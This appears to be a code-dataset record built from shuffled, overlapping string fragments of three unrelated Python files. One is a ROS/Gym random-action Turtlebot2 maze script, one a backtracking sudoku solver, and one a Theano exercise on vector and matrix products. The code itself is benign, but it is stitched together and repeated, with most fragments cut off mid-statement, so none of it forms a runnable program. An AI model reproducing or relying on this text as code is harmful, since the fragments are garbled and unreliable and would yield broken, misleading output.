print(env.observation_space.low) for", "space: \", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print(\"Observation space: \",", "rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True,", "= rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action space:", "python import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment #", "for t in range(100): action = env.action_space.sample() obs, reward, done,", "gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment", "print(env.action_space.low) print(\"Observation space: \", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in", "\", done) print(\"info: \", info) if done: print(\"Episode {} finished", "rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment:", "reward, done, info = env.step(action) print(\"episode: \", episode) print(\"timestep: \",", "rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action space: \",", "env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in range(20): env.reset() for t", "env.reset() for t in range(100): action = env.action_space.sample() obs, reward,", "<reponame>PierreExeter/custom_gym_envs<filename>ROS_packages/custom_ROS_envs/turtlebot2_maze_env/src/turtlebot2_maze_random.py<gh_stars>1-10 #!/usr/bin/env python import gym import rospy from openai_ros.openai_ros_common import", "StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name')", "import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name =", "initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env =", "\", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print(\"Observation space: \", env.observation_space)", "print(\"done: \", done) print(\"info: \", info) if done: print(\"Episode {}", "env.step(action) print(\"episode: \", episode) print(\"timestep: \", t) print(\"obs: \", obs)", "env.action_space) # print(env.action_space.high) # print(env.action_space.low) print(\"Observation space: \", env.observation_space) print(env.observation_space.high)", "done) print(\"info: \", info) if done: print(\"Episode {} finished after", "import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise", "print(env.observation_space.low) for episode in range(20): env.reset() for t in range(100):", "done, info = env.step(action) print(\"episode: \", episode) print(\"timestep: \", t)", "StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action space: \", env.action_space) # print(env.action_space.high)", "# print(env.action_space.high) # print(env.action_space.low) print(\"Observation space: \", env.observation_space) print(env.observation_space.high) print(env.observation_space.low)", "obs, reward, done, info = env.step(action) print(\"episode: \", episode) print(\"timestep:", "print(env.observation_space.high) print(env.observation_space.low) for episode in range(20): env.reset() for t in", "print(\"episode: \", episode) print(\"timestep: \", t) print(\"obs: \", obs) print(\"action:\",", "t in range(100): action = env.action_space.sample() obs, reward, done, info", "print(\"Environment: \", env) print(\"Action space: \", env.action_space) # print(env.action_space.high) #", "action = env.action_space.sample() obs, reward, done, info = env.step(action) print(\"episode:", "import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random',", "episode) print(\"timestep: \", t) print(\"obs: \", obs) print(\"action:\", action) print(\"reward:", "reward) print(\"done: \", done) print(\"info: \", info) if done: print(\"Episode", "print(\"obs: \", obs) print(\"action:\", action) print(\"reward: \", reward) print(\"done: \",", "anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \",", "print(\"Action space: \", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print(\"Observation space:", "for episode in range(20): env.reset() for t in range(100): action", "print(\"timestep: \", t) print(\"obs: \", obs) print(\"action:\", action) print(\"reward: \",", "action) print(\"reward: \", reward) print(\"done: \", done) print(\"info: \", info)", "# print(env.action_space.low) print(\"Observation space: \", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode", "range(20): env.reset() for t in range(100): action = env.action_space.sample() obs,", "info) if done: print(\"Episode {} finished after {} timesteps\".format(episode, t+1))", "\", obs) print(\"action:\", action) print(\"reward: \", reward) print(\"done: \", done)", "print(\"reward: \", reward) print(\"done: \", done) print(\"info: \", info) if", "if done: print(\"Episode {} finished after {} timesteps\".format(episode, t+1)) break", "from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN)", "print(\"Observation space: \", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in range(20):", "env) print(\"Action space: \", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print(\"Observation", "info = env.step(action) print(\"episode: \", episode) print(\"timestep: \", t) print(\"obs:", "obs) print(\"action:\", action) print(\"reward: \", reward) print(\"done: \", done) print(\"info:", "print(\"info: \", info) if done: print(\"Episode {} finished after {}", "task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action", "env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action space: \", env.action_space)", "\", reward) print(\"done: \", done) print(\"info: \", info) if done:", "range(100): action = env.action_space.sample() obs, reward, done, info = env.step(action)" ]
[ "if w not in board[:, j] and w not in", "(j // 3) * 3 # check all squares in", "9): for j in range(9): if board[i][j] == 0: print(\"", "+= 1 if count % 1000 == 0: print('\\rCurrent number", "= position[0] j = position[1] for w in range(1, 10):", "solve(): return True board[i][j] = 0 return False def find():", "to right, top to bottom, 0 for blank\") integerChunk =", "freePos is None: return True i = freePos[0] j =", "if response == \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal", "return False # reset to i,j - top left square", "in square for n in range(i, i + 3): for", "range(9): for j in range(9): board[i][j] = int(integerChunk[pos]) pos +=", "range(9): for j in range(9): if board[i][j] == 0: return", "to exit program.\") displayBoard() response = input() if response ==", "print(\"Please enter the values on the board starting from left", "== value: return False return True def change(position): # position", "- - - - - - - - -\") for", "all squares in square for n in range(i, i +", "number of computations made:', count, end='') freePos = find() if", "# checks row and column for repeat value if (value", "False # reset to i,j - top left square i", "3) * 3 j = (j // 3) * 3", "for i in range(3): for j in range(9): if board[i][j]", "find(): for i in range(9): for j in range(9): if", "w return True return False def initialize(): print(\"Please enter the", "False return True def change(position): # position = (i, j)", "= find() if freePos is None: return True i =", "range(1, 10): if possible(w, freePos): board[i][j] = w if solve():", "board[i][j] = int(integerChunk[pos]) pos += 1 def displayBoard(): for i", "in range(3, 6): for j in range(9): if board[i][j] ==", "True return False def initialize(): print(\"Please enter the values on", "j) tuple i = position[0] j = position[1] for w", "repeat value if (value in board[:, j]) or (value in", "= position[1] for w in range(1, 10): if w not", "== 0: print(\" \", end=\"\") else: print(\"%d \" % board[i][j],", "np.zeros(shape=(9, 9)) count = 0 def solve(): global count count", "== 0: return [i, j] return None def possible(value, position):", "tuple i = position[0] j = position[1] for w in", "for n in range(i, i + 3): for m in", "blank\") integerChunk = input(\"Numbers: \") pos = 0 for i", "- - - - - - -\") for i in", "2) or (j == 5): print(\"| \", end=\"\") if j", "j == 8: print(\"\") def main(): initialize() print(\"Is this the", "None def possible(value, position): # position = (i, j) tuple", "np board = np.zeros(shape=(9, 9)) count = 0 def solve():", "- - -\") for i in range(6, 9): for j", "0 def solve(): global count count += 1 if count", "position[0] j = position[1] for w in range(1, 10): if", "= position[0] j = position[1] # checks row and column", "- - - - -\") for i in range(3, 6):", "return True board[i][j] = 0 return False def find(): for", "starting from left to right, top to bottom, 0 for", "i = position[0] j = position[1] # checks row and", "print(\"- - - - - - - - - -", "count += 1 if count % 1000 == 0: print('\\rCurrent", "initialize(): print(\"Please enter the values on the board starting from", "of computations made:', count, end='') freePos = find() if freePos", "return True def change(position): # position = (i, j) tuple", "board[i]): return False # reset to i,j - top left", "count = 0 def solve(): global count count += 1", "8: print(\"\") def main(): initialize() print(\"Is this the correct board?", "column for repeat value if (value in board[:, j]) or", "0 for blank\") integerChunk = input(\"Numbers: \") pos = 0", "exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of computations:\", count)", "range(9): board[i][j] = int(integerChunk[pos]) pos += 1 def displayBoard(): for", "(j == 5): print(\"| \", end=\"\") if j == 8:", "count count += 1 if count % 1000 == 0:", "bottom, 0 for blank\") integerChunk = input(\"Numbers: \") pos =", "right, top to bottom, 0 for blank\") integerChunk = input(\"Numbers:", "(value in board[i]): return False # reset to i,j -", "if j == 8: print(\"\") print(\"- - - - -", "if count % 1000 == 0: print('\\rCurrent number of computations", "response == \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number", "end='') freePos = find() if freePos is None: return True", "def solve(): global count count += 1 if count %", "squares in square for n in range(i, i + 3):", "top to bottom, 0 for blank\") integerChunk = input(\"Numbers: \")", "print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of computations:\", count) if __name__ ==", "= (j // 3) * 3 # check all squares", "in range(9): for j in range(9): board[i][j] = int(integerChunk[pos]) pos", "range(9): if board[i][j] == 0: print(\" \", end=\"\") else: print(\"%d", "if (j == 2) or (j == 5): print(\"| \",", "i in range(9): for j in range(9): if board[i][j] ==", "board[i][j] == 0: print(\" \", end=\"\") else: print(\"%d \" %", "board[:, j] and w not in board[i]: board[i][j] = w", "- - - - - - - - - -\")", "j in range(9): if board[i][j] == 0: return [i, j]", "end=\"\") if j == 8: print(\"\") def main(): initialize() print(\"Is", "print(\"\") def main(): initialize() print(\"Is this the correct board? Press", "board[i]: board[i][j] = w return True return False def initialize():", "board = np.zeros(shape=(9, 9)) count = 0 def solve(): global", "\"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of computations:\",", "i = position[0] j = position[1] for w in range(1,", "square i = (i // 3) * 3 j =", "value: return False return True def change(position): # position =", "computations made:', count, end='') freePos = find() if freePos is", "= int(integerChunk[pos]) pos += 1 def displayBoard(): for i in", "\" % board[i][j], end=\"\") if (j == 2) or (j", "in range(9): for j in range(9): if board[i][j] == 0:", "8: print(\"\") print(\"- - - - - - - -", "in board[:, j]) or (value in board[i]): return False #", "j]) or (value in board[i]): return False # reset to", "for i in range(6, 9): for j in range(9): if", "j = (j // 3) * 3 # check all", "0: print('\\rCurrent number of computations made:', count, end='') freePos =", "= (i, j) tuple i = position[0] j = position[1]", "import numpy as np board = np.zeros(shape=(9, 9)) count =", "board[i][j], end=\"\") if (j == 2) or (j == 5):", "board[i][j] = 0 return False def find(): for i in", "in range(9): board[i][j] = int(integerChunk[pos]) pos += 1 def displayBoard():", "solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of computations:\", count) if __name__", "0: return [i, j] return None def possible(value, position): #", "= 0 for i in range(9): for j in range(9):", "and column for repeat value if (value in board[:, j])", "board[i][j] == 0: return [i, j] return None def possible(value,", "the correct board? Press enter to continue or 'q' to", "in range(i, i + 3): for m in range(j, j", "== 0: print('\\rCurrent number of computations made:', count, end='') freePos", "end=\"\") if j == 8: print(\"\") print(\"- - - -", "this the correct board? Press enter to continue or 'q'", "or 'q' to exit program.\") displayBoard() response = input() if", "tuple i = position[0] j = position[1] # checks row", "in range(1, 10): if possible(w, freePos): board[i][j] = w if", "def displayBoard(): for i in range(3): for j in range(9):", "response = input() if response == \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve()", "% 1000 == 0: print('\\rCurrent number of computations made:', count,", "\") pos = 0 for i in range(9): for j", "return False def find(): for i in range(9): for j", "(i // 3) * 3 j = (j // 3)", "not in board[i]: board[i][j] = w return True return False", "if board[i][j] == 0: return [i, j] return None def", "input() if response == \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard()", "w if solve(): return True board[i][j] = 0 return False", "j + 3): if board[n][m] == value: return False return", "i in range(3): for j in range(9): if board[i][j] ==", "True board[i][j] = 0 return False def find(): for i", "count, end='') freePos = find() if freePos is None: return", "on the board starting from left to right, top to", "= input(\"Numbers: \") pos = 0 for i in range(9):", "square for n in range(i, i + 3): for m", "reset to i,j - top left square i = (i", "# check all squares in square for n in range(i,", "the values on the board starting from left to right,", "5): print(\"| \", end=\"\") if j == 8: print(\"\") def", "board[i][j] = w if solve(): return True board[i][j] = 0", "True def change(position): # position = (i, j) tuple i", "3) * 3 # check all squares in square for", "print(\"Is this the correct board? Press enter to continue or", "(j == 2) or (j == 5): print(\"| \", end=\"\")", "w in range(1, 10): if w not in board[:, j]", "position[1] # checks row and column for repeat value if", "5): print(\"| \", end=\"\") if j == 8: print(\"\") print(\"-", "position[1] for w in range(1, 10): if w not in", "6): for j in range(9): if board[i][j] == 0: print(\"", "-\") for i in range(6, 9): for j in range(9):", "board? Press enter to continue or 'q' to exit program.\")", "for blank\") integerChunk = input(\"Numbers: \") pos = 0 for", "freePos): board[i][j] = w if solve(): return True board[i][j] =", "range(3): for j in range(9): if board[i][j] == 0: print(\"", "1 def displayBoard(): for i in range(3): for j in", "print(\"\\nTotal number of computations:\", count) if __name__ == \"__main__\": main()", "+ 3): if board[n][m] == value: return False return True", "j == 8: print(\"\") print(\"- - - - - -", "- - - -\") for i in range(6, 9): for", "values on the board starting from left to right, top", "in board[i]: board[i][j] = w return True return False def", "board[i][j] = w return True return False def initialize(): print(\"Please", "range(1, 10): if w not in board[:, j] and w", "to bottom, 0 for blank\") integerChunk = input(\"Numbers: \") pos", "(i, j) tuple i = position[0] j = position[1] #", "checks row and column for repeat value if (value in", "for m in range(j, j + 3): if board[n][m] ==", "top left square i = (i // 3) * 3", "for j in range(9): board[i][j] = int(integerChunk[pos]) pos += 1", "if board[n][m] == value: return False return True def change(position):", "position[0] j = position[1] # checks row and column for", "end=\"\") if (j == 2) or (j == 5): print(\"|", "return None def possible(value, position): # position = (i, j)", "i,j - top left square i = (i // 3)", "def find(): for i in range(9): for j in range(9):", "# position = (i, j) tuple i = position[0] j", "else: print(\"%d \" % board[i][j], end=\"\") if (j == 2)", "and w not in board[i]: board[i][j] = w return True", "in range(1, 10): if w not in board[:, j] and", "return [i, j] return None def possible(value, position): # position", "n in range(i, i + 3): for m in range(j,", "3 # check all squares in square for n in", "0: print(\" \", end=\"\") else: print(\"%d \" % board[i][j], end=\"\")", "'q' to exit program.\") displayBoard() response = input() if response", "== \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of", "print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\") displayBoard() print(\"\\nTotal number of computations:\", count) if", "as np board = np.zeros(shape=(9, 9)) count = 0 def", "displayBoard() response = input() if response == \"q\": exit() print(\"---------------SOLVING---------------\\n\")", "to i,j - top left square i = (i //", "not in board[:, j] and w not in board[i]: board[i][j]", "- - -\") for i in range(3, 6): for j", "solve(): global count count += 1 if count % 1000", "continue or 'q' to exit program.\") displayBoard() response = input()", "freePos[0] j = freePos[1] for w in range(1, 10): if", "10): if w not in board[:, j] and w not", "== 5): print(\"| \", end=\"\") if j == 8: print(\"\")", "numpy as np board = np.zeros(shape=(9, 9)) count = 0", "i in range(9): for j in range(9): board[i][j] = int(integerChunk[pos])", "print(\"| \", end=\"\") if j == 8: print(\"\") print(\"- -", "* 3 # check all squares in square for n", "def initialize(): print(\"Please enter the values on the board starting", "+= 1 def displayBoard(): for i in range(3): for j", "freePos[1] for w in range(1, 10): if possible(w, freePos): board[i][j]", "- -\") for i in range(6, 9): for j in", "from left to right, top to bottom, 0 for blank\")", "\", end=\"\") if j == 8: print(\"\") def main(): initialize()", "for j in range(9): if board[i][j] == 0: return [i,", "j) tuple i = position[0] j = position[1] # checks", "end=\"\") else: print(\"%d \" % board[i][j], end=\"\") if (j ==", "- - - - - - - -\") for i", "- - - -\") for i in range(3, 6): for", "= w return True return False def initialize(): print(\"Please enter", "def possible(value, position): # position = (i, j) tuple i", "row and column for repeat value if (value in board[:,", "check all squares in square for n in range(i, i", "# reset to i,j - top left square i =", "in range(9): if board[i][j] == 0: return [i, j] return", "i = (i // 3) * 3 j = (j", "1 if count % 1000 == 0: print('\\rCurrent number of", "= 0 return False def find(): for i in range(9):", "return False return True def change(position): # position = (i,", "def change(position): # position = (i, j) tuple i =", "exit program.\") displayBoard() response = input() if response == \"q\":", "count % 1000 == 0: print('\\rCurrent number of computations made:',", "[i, j] return None def possible(value, position): # position =", "main(): initialize() print(\"Is this the correct board? Press enter to", "the board starting from left to right, top to bottom,", "integerChunk = input(\"Numbers: \") pos = 0 for i in", "True i = freePos[0] j = freePos[1] for w in", "\", end=\"\") else: print(\"%d \" % board[i][j], end=\"\") if (j", "3): for m in range(j, j + 3): if board[n][m]", "\", end=\"\") if j == 8: print(\"\") print(\"- - -", "global count count += 1 if count % 1000 ==", "if possible(w, freePos): board[i][j] = w if solve(): return True", "10): if possible(w, freePos): board[i][j] = w if solve(): return", "print(\" \", end=\"\") else: print(\"%d \" % board[i][j], end=\"\") if", "j = position[1] # checks row and column for repeat", "print(\"| \", end=\"\") if j == 8: print(\"\") def main():", "program.\") displayBoard() response = input() if response == \"q\": exit()", "range(i, i + 3): for m in range(j, j +", "or (value in board[i]): return False # reset to i,j", "enter to continue or 'q' to exit program.\") displayBoard() response", "if freePos is None: return True i = freePos[0] j", "return True i = freePos[0] j = freePos[1] for w", "board[n][m] == value: return False return True def change(position): #", "3 j = (j // 3) * 3 # check", "w not in board[:, j] and w not in board[i]:", "i = freePos[0] j = freePos[1] for w in range(1,", "j] return None def possible(value, position): # position = (i,", "i in range(6, 9): for j in range(9): if board[i][j]", "for w in range(1, 10): if possible(w, freePos): board[i][j] =", "-\") for i in range(3, 6): for j in range(9):", "in board[i]): return False # reset to i,j - top", "range(9): if board[i][j] == 0: return [i, j] return None", "value if (value in board[:, j]) or (value in board[i]):", "return False def initialize(): print(\"Please enter the values on the", "(i, j) tuple i = position[0] j = position[1] for", "position = (i, j) tuple i = position[0] j =", "= 0 def solve(): global count count += 1 if", "print('\\rCurrent number of computations made:', count, end='') freePos = find()", "input(\"Numbers: \") pos = 0 for i in range(9): for", "= np.zeros(shape=(9, 9)) count = 0 def solve(): global count", "displayBoard() print(\"\\nTotal number of computations:\", count) if __name__ == \"__main__\":", "j in range(9): board[i][j] = int(integerChunk[pos]) pos += 1 def", "== 8: print(\"\") def main(): initialize() print(\"Is this the correct", "3): if board[n][m] == value: return False return True def", "j in range(9): if board[i][j] == 0: print(\" \", end=\"\")", "w in range(1, 10): if possible(w, freePos): board[i][j] = w", "made:', count, end='') freePos = find() if freePos is None:", "in range(9): if board[i][j] == 0: print(\" \", end=\"\") else:", "(value in board[:, j]) or (value in board[i]): return False", "return True return False def initialize(): print(\"Please enter the values", "= (i // 3) * 3 j = (j //", "freePos = find() if freePos is None: return True i", "if solve(): return True board[i][j] = 0 return False def", "if j == 8: print(\"\") def main(): initialize() print(\"Is this", "// 3) * 3 j = (j // 3) *", "enter the values on the board starting from left to", "m in range(j, j + 3): if board[n][m] == value:", "if (value in board[:, j]) or (value in board[i]): return", "initialize() print(\"Is this the correct board? Press enter to continue", "left to right, top to bottom, 0 for blank\") integerChunk", "range(j, j + 3): if board[n][m] == value: return False", "in range(j, j + 3): if board[n][m] == value: return", "- -\") for i in range(3, 6): for j in", "for j in range(9): if board[i][j] == 0: print(\" \",", "pos = 0 for i in range(9): for j in", "== 8: print(\"\") print(\"- - - - - - -", "range(3, 6): for j in range(9): if board[i][j] == 0:", "= input() if response == \"q\": exit() print(\"---------------SOLVING---------------\\n\") solve() print(\"\\r\\rSOLUTION\")", "displayBoard(): for i in range(3): for j in range(9): if", "print(\"\") print(\"- - - - - - - - -", "def main(): initialize() print(\"Is this the correct board? Press enter", "for i in range(9): for j in range(9): if board[i][j]", "for i in range(9): for j in range(9): board[i][j] =", "or (j == 5): print(\"| \", end=\"\") if j ==", "= w if solve(): return True board[i][j] = 0 return", "left square i = (i // 3) * 3 j", "i + 3): for m in range(j, j + 3):", "j = position[1] for w in range(1, 10): if w", "board[:, j]) or (value in board[i]): return False # reset", "9)) count = 0 def solve(): global count count +=", "in range(6, 9): for j in range(9): if board[i][j] ==", "j = freePos[1] for w in range(1, 10): if possible(w,", "position): # position = (i, j) tuple i = position[0]", "for i in range(3, 6): for j in range(9): if", "1000 == 0: print('\\rCurrent number of computations made:', count, end='')", "range(6, 9): for j in range(9): if board[i][j] == 0:", "- top left square i = (i // 3) *", "for w in range(1, 10): if w not in board[:,", "0 return False def find(): for i in range(9): for", "= position[1] # checks row and column for repeat value", "i in range(3, 6): for j in range(9): if board[i][j]", "// 3) * 3 # check all squares in square", "+ 3): for m in range(j, j + 3): if", "- - - - - -\") for i in range(3,", "int(integerChunk[pos]) pos += 1 def displayBoard(): for i in range(3):", "- - - - - -\") for i in range(6,", "- - - - -\") for i in range(6, 9):", "find() if freePos is None: return True i = freePos[0]", "in board[:, j] and w not in board[i]: board[i][j] =", "possible(w, freePos): board[i][j] = w if solve(): return True board[i][j]", "is None: return True i = freePos[0] j = freePos[1]", "= freePos[1] for w in range(1, 10): if possible(w, freePos):", "j] and w not in board[i]: board[i][j] = w return", "if board[i][j] == 0: print(\" \", end=\"\") else: print(\"%d \"", "False def find(): for i in range(9): for j in", "w not in board[i]: board[i][j] = w return True return", "pos += 1 def displayBoard(): for i in range(3): for", "* 3 j = (j // 3) * 3 #", "= freePos[0] j = freePos[1] for w in range(1, 10):", "False def initialize(): print(\"Please enter the values on the board", "in range(3): for j in range(9): if board[i][j] == 0:", "== 2) or (j == 5): print(\"| \", end=\"\") if", "None: return True i = freePos[0] j = freePos[1] for", "% board[i][j], end=\"\") if (j == 2) or (j ==", "print(\"%d \" % board[i][j], end=\"\") if (j == 2) or", "change(position): # position = (i, j) tuple i = position[0]", "to continue or 'q' to exit program.\") displayBoard() response =", "possible(value, position): # position = (i, j) tuple i =", "Press enter to continue or 'q' to exit program.\") displayBoard()", "0 for i in range(9): for j in range(9): board[i][j]", "correct board? Press enter to continue or 'q' to exit", "board starting from left to right, top to bottom, 0", "for repeat value if (value in board[:, j]) or (value" ]
[ "return T.vector() def make_matrix(): \"\"\" Returns a new Theano matrix.", "\"\"\" Returns a new Theano vector. \"\"\" return T.vector() def", "def make_vector(): \"\"\" Returns a new Theano vector. \"\"\" return", "theano matrix b: A theano vector Returns the matrix-vector product", "rng.rand(5).astype(b.dtype) c_value = a_value * b_value d_value = rng.randn(5, 5).astype(d.dtype)", "A theano matrix b: A theano matrix Returns the elementwise", "expected = np.dot(d_value, c_value) actual = f(a_value, b_value, d_value) assert", "np.dot(d_value, c_value) actual = f(a_value, b_value, d_value) assert np.allclose(actual, expected)", "__name__ == \"__main__\": a = make_vector() b = make_vector() c", "T.matrix() def elemwise_mul(a, b): \"\"\" a: A theano matrix b:", "<filename>01_basics/01_building_expressions/02_vector_mat_soln.py import numpy as np from theano import function import", "\"\"\" return a * b def matrix_vector_mul(a, b): \"\"\" a:", "\"\"\" return T.dot(a, b) if __name__ == \"__main__\": a =", "actual = f(a_value, b_value, d_value) assert np.allclose(actual, expected) print \"SUCCESS!\"", "Returns a new Theano matrix. \"\"\" return T.matrix() def elemwise_mul(a,", "matrix. \"\"\" return T.matrix() def elemwise_mul(a, b): \"\"\" a: A", "b): \"\"\" a: A theano matrix b: A theano matrix", "a: A theano matrix b: A theano matrix Returns the", "= a_value * b_value d_value = rng.randn(5, 5).astype(d.dtype) expected =", "a * b def matrix_vector_mul(a, b): \"\"\" a: A theano", "make_vector() c = elemwise_mul(a, b) d = make_matrix() e =", "of a and b \"\"\" return a * b def", "5).astype(d.dtype) expected = np.dot(d_value, c_value) actual = f(a_value, b_value, d_value)", "matrix_vector_mul(d, c) f = function([a, b, d], e) rng =", "= rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value, c_value) actual = f(a_value,", "3]) a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value = a_value", "d = make_matrix() e = matrix_vector_mul(d, c) f = function([a,", "new Theano matrix. \"\"\" return T.matrix() def elemwise_mul(a, b): \"\"\"", "and b \"\"\" return a * b def matrix_vector_mul(a, b):", "b \"\"\" return a * b def matrix_vector_mul(a, b): \"\"\"", "b = make_vector() c = elemwise_mul(a, b) d = make_matrix()", "matrix b: A theano vector Returns the matrix-vector product of", "b def matrix_vector_mul(a, b): \"\"\" a: A theano matrix b:", "np from theano import function import theano.tensor as T def", "import theano.tensor as T def make_vector(): \"\"\" Returns a new", "A theano matrix b: A theano vector Returns the matrix-vector", "\"\"\" a: A theano matrix b: A theano vector Returns", "theano import function import theano.tensor as T def make_vector(): \"\"\"", "from theano import function import theano.tensor as T def make_vector():", "b) if __name__ == \"__main__\": a = make_vector() b =", "make_matrix(): \"\"\" Returns a new Theano matrix. \"\"\" return T.matrix()", "b: A theano vector Returns the matrix-vector product of a", "== \"__main__\": a = make_vector() b = make_vector() c =", "numpy as np from theano import function import theano.tensor as", "return T.matrix() def elemwise_mul(a, b): \"\"\" a: A theano matrix", "= np.dot(d_value, c_value) actual = f(a_value, b_value, d_value) assert np.allclose(actual,", "A theano matrix Returns the elementwise product of a and", "b): \"\"\" a: A theano matrix b: A theano vector", "2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value =", "= function([a, b, d], e) rng = np.random.RandomState([1, 2, 3])", "= elemwise_mul(a, b) d = make_matrix() e = matrix_vector_mul(d, c)", "function([a, b, d], e) rng = np.random.RandomState([1, 2, 3]) a_value", "= np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype)", "matrix Returns the elementwise product of a and b \"\"\"", "= rng.rand(5).astype(b.dtype) c_value = a_value * b_value d_value = rng.randn(5,", "d_value = rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value, c_value) actual =", "= make_vector() c = elemwise_mul(a, b) d = make_matrix() e", "import numpy as np from theano import function import theano.tensor", "elemwise_mul(a, b): \"\"\" a: A theano matrix b: A theano", "def make_matrix(): \"\"\" Returns a new Theano matrix. \"\"\" return", "def matrix_vector_mul(a, b): \"\"\" a: A theano matrix b: A", "a and b \"\"\" return a * b def matrix_vector_mul(a,", "Returns a new Theano vector. \"\"\" return T.vector() def make_matrix():", "theano vector Returns the matrix-vector product of a and b", "* b def matrix_vector_mul(a, b): \"\"\" a: A theano matrix", "as T def make_vector(): \"\"\" Returns a new Theano vector.", "b) d = make_matrix() e = matrix_vector_mul(d, c) f =", "theano.tensor as T def make_vector(): \"\"\" Returns a new Theano", "a_value * b_value d_value = rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value,", "product of a and b \"\"\" return T.dot(a, b) if", "* b_value d_value = rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value, c_value)", "Theano vector. \"\"\" return T.vector() def make_matrix(): \"\"\" Returns a", "the elementwise product of a and b \"\"\" return a", "T def make_vector(): \"\"\" Returns a new Theano vector. \"\"\"", "of a and b \"\"\" return T.dot(a, b) if __name__", "elemwise_mul(a, b) d = make_matrix() e = matrix_vector_mul(d, c) f", "np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value", "b: A theano matrix Returns the elementwise product of a", "\"__main__\": a = make_vector() b = make_vector() c = elemwise_mul(a,", "make_matrix() e = matrix_vector_mul(d, c) f = function([a, b, d],", "= rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value = a_value * b_value", "d], e) rng = np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype)", "Returns the matrix-vector product of a and b \"\"\" return", "make_vector() b = make_vector() c = elemwise_mul(a, b) d =", "a = make_vector() b = make_vector() c = elemwise_mul(a, b)", "if __name__ == \"__main__\": a = make_vector() b = make_vector()", "a new Theano matrix. \"\"\" return T.matrix() def elemwise_mul(a, b):", "\"\"\" return T.matrix() def elemwise_mul(a, b): \"\"\" a: A theano", "\"\"\" Returns a new Theano matrix. \"\"\" return T.matrix() def", "rng = np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value =", "b \"\"\" return T.dot(a, b) if __name__ == \"__main__\": a", "and b \"\"\" return T.dot(a, b) if __name__ == \"__main__\":", "def elemwise_mul(a, b): \"\"\" a: A theano matrix b: A", "\"\"\" a: A theano matrix b: A theano matrix Returns", "theano matrix b: A theano matrix Returns the elementwise product", "return T.dot(a, b) if __name__ == \"__main__\": a = make_vector()", "c = elemwise_mul(a, b) d = make_matrix() e = matrix_vector_mul(d,", "T.vector() def make_matrix(): \"\"\" Returns a new Theano matrix. \"\"\"", "a and b \"\"\" return T.dot(a, b) if __name__ ==", "b, d], e) rng = np.random.RandomState([1, 2, 3]) a_value =", "matrix-vector product of a and b \"\"\" return T.dot(a, b)", "T.dot(a, b) if __name__ == 